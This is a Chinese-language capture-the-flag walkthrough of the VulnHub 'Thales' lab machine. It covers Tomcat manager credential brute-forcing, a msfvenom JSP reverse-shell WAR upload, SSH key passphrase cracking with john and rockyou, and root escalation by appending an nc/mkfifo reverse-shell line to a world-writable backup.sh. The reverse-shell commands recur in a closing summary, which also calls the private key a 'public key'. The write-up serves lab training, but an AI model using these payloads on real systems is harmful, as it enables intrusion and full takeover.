一、概要
靶机:192.168.1.101
攻击机:192.168.1.115
靶机下载地址:https://download.vulnhub.com/thales/Thales.zip
二、主机发现
arp-scan发现目标靶机
三、信息收集
nmap扫描一下目标主机,得到一些信息
开放了22和8080端口,即ssh服务和web服务
访问一下web服务
是一个tomcat的首页
登录管理员的话需要认证
四、账号密码爆破
msf爆破一下账号密码
得到了账号密码
五、获取shell
进入到管理页面
应用程序列表这里有一个上传文件的地方
这里需要上传的是war文件,可以判断出后端是java的后端
使用msfvenom生成一个反弹shell的文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.115 LPORT=8888 -f war -o shell.war
本地开启对应的端口监听,再去访问触发一下这个文件
得到shell权限
再用python3 -c 'import pty;pty.spawn("/bin/bash")'
升级一下shell窗口就行了
六、ssh公钥
使用ls -la
查看一下当前目录的所有文件
notes.txt中有一个提示
user.txt无权限读取
.ssh目录下有公私钥
保存一下ssh公钥
七、john公钥密码爆破
切换到/usr/share/john目录找到ssh2john.py脚本,将公钥文件转换一下格式,转化为JTR兼容的攻击文件
用john对密码进行爆破,使用的是/usr/share/wordlists/rockyou.txt字典
john --wordlist=/usr/share/wordlists/rockyou.txt 爆破文件
爆破出的密码为vodka06
切换用户获得第一个flag
八、提权
前面这里还有个提示,查看一下这个文件
可以看到这个文件是具有777权限的,我们可以写入
我们可以利用这个文件,修改它的内容向我们的攻击机反弹一个root权限的shell
向文件中写入一行命令
echo "rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 192.168.1.115 5555 >/tmp/a" >> backup.sh
攻击机监听对应端口
得到flag
九、新知识总结
1、msfvenom生成反弹shell的war文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.115 LPORT=8888 -f war -o shell.war
2、python脚本转换公钥文件为JTR攻击兼容文件
python3 ssh2john.py 需要处理的文件 > 输出的文件
3、john爆破ssh公钥(基于JTR攻击兼容文件)
john --wordlist=/usr/share/wordlists/rockyou.txt 爆破文件
4、利用mkfifo命令实现权限维持
mkfifo创建的是一个管道文件,这里这种情况下这个文件中的内容会实时更新,即输入的命令会被实时读取
echo "rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 192.168.1.115 5555 >/tmp/a" >> backup.sh